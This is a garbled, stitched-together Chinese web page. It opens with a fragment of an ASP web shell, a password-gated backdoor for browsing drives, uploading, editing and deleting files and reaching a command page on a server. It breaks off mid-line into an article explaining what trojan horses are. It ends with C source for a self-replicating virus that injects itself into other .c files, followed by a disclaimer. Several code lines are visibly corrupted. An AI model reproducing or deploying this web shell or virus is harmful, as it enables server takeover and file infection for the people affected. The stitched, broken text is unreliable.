a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }
a:visited{ color: rgb(128,0,0) }
td { font-size: 9pt}
a { color: #000000; text-decoration: none}
a:hover { text-decoration: underline}
.tx { height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000FF}
.bt { font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}
.tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000FF}
-->
</style>
</head>
<script language="JavaScript">
function crfile(ls)
{if (ls==""){alert("请输入文件名!");}
else {window.open("<%=rseb%>?q=edit.aspattrib=<%=request("attrib")%>creat=yespath=<%=lpath%>"+ls);}
return false;
}
function crdir(ls)
{if (ls==""){alert("请输入文件名!");}
else {window.open("<%=rseb%>?q=edir.aspattrib=<%=request("attrib")%>op=creatpath=<%=lpath%>"+ls);}
return false;
}
</script>
<script language="vbscript">
sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)
document.write "<tr style=""color: #000000; background-color: #FFefdf; text-decoration: blink; border: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""><td width='50%'><font color='#FF8000'><font face=Wingdings>+</font></font><a href='" urlpath lpath xName "' target='_blank'><strong>" showstring "</strong></a></td><td width='20%' align='right'>" size "字节</td><td width='30%'><a href='#' title='类型:" type1 chr(10) "属性:" Attributes chr(10) "时间:" DateLastModified "'>属性</a> <a href='<%=rseb%>?q=edit.asppath=" lpath xName "attrib=" attrib "' target='_blank' ><font color='#FF8000' ></font>编辑</a> <a href="chr(34)"javascript: rmdir1('" lpath xName "')"chr(34)"><font color='#FF8000' ></font>删除</a> <a href='#' onclick=copyfile('" lpath Name "')><font color='#FF8000' ></font>复制</a> <a href='<%=rseb%>?q=down.asppath=<%=cpath%>\"xName"attrib=" attrib "' target='_blank' ><font color='#FF8000' ></font>下载</a></td></tr>"
end sub
sub so(lpath,xName,path,attrib)
document.write "<a href='<%=rseb%>?q=list.asppath=" lpath xName "oldpath=" path "attrib=" attrib "'>└<font color='#FF8000'><font face=Wingdings>1</font></font> " xName "</a> <a href="chr(34)"javascript: rmdir('" lpath xName "')"chr(34)"><font color='#FF8000' ></font>删除</a><br>"
end sub
sub rmdir1(ls)
if confirm("你真的要删除这个文件吗!"Chr(13)Chr(10)"文件为:"ls) then
window.open("<%=rseb%>?q=edit.asppath=" ls "op=delattrib=<%=request("attrib")%>")
end if
end sub
sub rmdir(ls)
if confirm("你真的要删除这个目录吗!"Chr(13)Chr(10)"目录为:"ls) then
window.open("<%=rseb%>?q=edir.asppath="ls"op=delattrib=<%=request("attrib")%>")
end if
end sub
sub copyfile(sfile)
dfile=InputBox("※文件复制※"Chr(13)Chr(10)"源文件:" sfileChr(13)Chr(10)"输入目标文件的文件名:"Chr(13)Chr(10) "[允许带路径,要根据你的当前路径模式]")
dfile=trim(dfile)
attrib="<%=request("attrib")%>"
if dfile<>"" then
if InStr(dfile,":") or InStr(dfile,"/")=1 then
lp=""
if InStr(dfile,":") and attrib<>"true" then
alert "对不起,你在相对路径模式下不能使用绝对路径"Chr(13)Chr(10)"错误路径:["dfile"]"
exit sub
end if
else
lp="<%=lpath%>"
end if
window.open("<%=rseb%>?q=edit.asppath="+sfile+"op=copyattrib="+attrib+"dpath="+lp+dfile)
else
alert"您没有输入文件名!"
end If
end sub
</script>
<body>
<table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"
bordercolordark="#FFFFFF" cellspacing="0">
<tr>
<td width="755" bgcolor="#000080" colspan="2" height="23"><p align="center"><font size="3"
color="#FFFFFF"><%=httpt%></font></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※换盘:<span
style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%
For Each thing in oFileSys.Drives
Response.write "<font face=Wingdings>:</font><a href='" rseb "?q=list.asppath="thing.DriveLetter":attrib=true'>"thing.DriveLetter":</a>"
NEXT
%> </span> 地址:
<%= "\\" oScriptNet.ComputerName "\" oScriptNet.UserName %></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※<%
if Request("attrib")="true" then
response.write "<a href='" rseb "?q=list.asp'>切到相对路径</a>"
else
response.write "<a href='" rseb "?attrib=trueq=list.asp'>切到绝对路径</a>"
end if
%> ※绝对:<span
style="background-color: rgb(255,255,255)"><%=cpath%></span></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※当前<font color="#FF8000"><font face=Wingdings>1</font></font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> </td>
</tr><form name="form1" method="post" action="<%=rseb%>?q=upfile.asp" target="_blank" enctype="multipart/form-data">
<tr><td bgcolor="#C0C0C0" colspan="2" style="height: 20px">
编辑|
<input class="1d8b-b1eb-80af-d165 tx1" type="text" name="filename" size="20">
<input class="b1eb-80af-d165-95fd tx1" type="button" value="建文" onclick="crfile(form1.filename.value)">
<input class="80af-d165-95fd-f21f tx1" type="button" value="建目" onclick="crdir(form1.filename.value)">
<input type="file" name="file1" class="d165-95fd-f21f-e788 tx1" style="width:100" value="">
<input type="text" name="filepath" class="4338-0682-6dec-4772 tx1" style="width:100" value="<%=cpath%>">
<input type="hidden" name="act" value="upload">
<input type="hidden" name="upcount" class="0682-6dec-4772-6ea2 tx" value="1">
<input class="6dec-4772-6ea2-457b tx1" type="submit" value="上传">
<input class="4772-6ea2-457b-1365 tx1" type="button" onclick="window.open('<%=rseb%>?q=cmd.asp','_blank')" value="命令">
<input class="6ea2-457b-1365-4b20 tx1" type="button" onclick="window.open('<%=rseb%>?q=test.asp','_blank')" value="配置">
<input class="457b-1365-4b20-c23e tx1" type="button" onclick="window.open('<%=rseb%>?q=p.asp','_blank')" value="nfso">
</td>
</td>
</tr></form>
<tr>
<td width="169" valign="top" bgcolor="#C8E3FF"><%Call GetFolder()%>
</td>
<td width="582" valign="top" bgcolor="#FFefdf"><%Call GetFile()%>
</td>
</tr>
</table>
<%else
response.write "Password Error!"
response.write "<a href='" rseb "?q=" rseb "'>【返 回】</a>"
end if
%>
</body>
</html>
<%case "edit.asp"%>
<html>
<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">
<title>编辑源代码</title>
<style>
<!--
table{ font-family: 宋体; font-size: 12pt }
a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>
<body>
<% '读文件
if Request.Cookies("password")="7758521" then
if request("op")="del" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile.Delete True
Response.write "<script>alert('删除成功!要刷新才能看到效果');window.close();</script>"
else
if request("op")="copy" then
if Request("attrib")="true" then
whichfile=Request("path")
dsfile=Request("dpath")
else
whichfile=server.mappath(Request("path"))
dsfile=Server.MapPath(Request("dpath"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile.copy dsfile
%>
<script language=vbscript>
msgbox "源文件:<%=whichfile%>" vbcrlf "目的文件:<%=dsfile%>" vbcrlf "复制成功!要刷新才能看到效果!"
window.close()
</script>
<%
else
if request.form("text")="" then
if Request("creat")<>"yes" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.OpenTextFile(whichfile, 1, False)
counter=0
thisline=thisfile.readall
thisfile.Close
set fs=nothing
end if
%>
<form method="POST" action="<%=rseb%>?q=edit.asp">
<input type="hidden" name="attrib" value="<%=Request("attrib")%>"><table border="0"
width="700" cellpadding="0">
<tr>
<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><%=httpt%></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA">文件名:<input type="text" name="path" size="45"
value="<%=Request("path")%> ">直接更改文件名,相当于“另存为”</td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><textarea rows="25" name="text" cols="90"><%=thisline%></textarea></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><input type="submit"
value="提交" name="B1"><input type="reset" value="复原" name="B2"></td>
</tr>
</table>
</form>
<%else
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set outfile=oFileSys.CreateTextFile(whichfile)
outfile.WriteLine Request("text")
outfile.close
set fs=nothing
Response.write "<script>alert('修改成功!要刷新才能看到效果');window.close();</script>"
end if
end if
end if
else
response.write "Password Error!"
response.write "<a href='" rseb "?q=" rseb "'>【返 回】</a>"
end if
%>
</body>
</html>
<%case "edir.asp"%>
<html>
<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">
<title>目录操作</title>
<style>
<!--
table{ font-family: 宋体; font-size: 12pt }
a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>
<body>
<% '读文件
if Request.Cookies("password")="7758521" then
if request("op")="del" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.DeleteFolder whichdir,True
Response.write "<script>alert('删除的目录为:" whichdir "删除成功!要刷新才能看到效果');window.close();</script>"
else
if request("op")="creat" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.CreateFolder whichdir
Response.write "<script>alert('建立的目录为:" whichdir "建立成功!要刷新才能看到效果');window.close();</script>"
end if
end if
else
response.write "Password Error!"
response.write "<a href='" rseb "?q=" rseb "'>【返 回】</a>"
end if
%>
</body>
</html>
<%
case "upfile.asp"
if Request.Cookies("password")="7758521" then
set upload=new upload_5xSoft
if upload.form("filepath")="" then
HtmEnd "请输入要上传至的目录!"
set upload=nothing
response.end
else
formPath=upload.form("filepath")
if right(formPath,1)<>"/" then formPath=formPath"/"
end if
iCount=0
for each formName in upload.objForm
set file=upload.file(formName)
if file.FileSize>
木马程序是什么,在2003、XP中是什么代码
什么是木马?
特洛伊木马(以下简称木马),英文叫做“Trojan house”,其名称取自希腊神话的特洛伊木马记。
它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。
所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具体位置,往往只能望“马”兴叹。
所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。
从木马的发展来看,基本上可以分为两个阶段。
最初网络还处于以UNIX平台为主的时期,木马就产生了,当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的网络和编程知识。
而后随着WINDOWS平台的日益普及,一些基于图形操作的木马程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的操作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端的破坏也更大了。
所以所木马发展到今天,已经无所不用其极,一旦被木马控制,你的电脑将毫无秘密可言。
鉴于木马的巨大危害性,我们将分原理篇,防御与反击篇,资料篇三部分来详细介绍木马,希望大家对特洛伊木马这种攻击手段有一个透彻的了解。
最简单的木马 源代码以及解释
一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
(1)硬件部分:建立木马连接所必须的硬件实体。 控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。
(2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。
(3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。
c语言木马源代码
#include stdio.h
#include dir.h
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#includestdio.h\n",out);
fputs("#includedir.h\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;ji-1;j++)
if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(ji-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(ffblk);
}
return 0;
}
严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。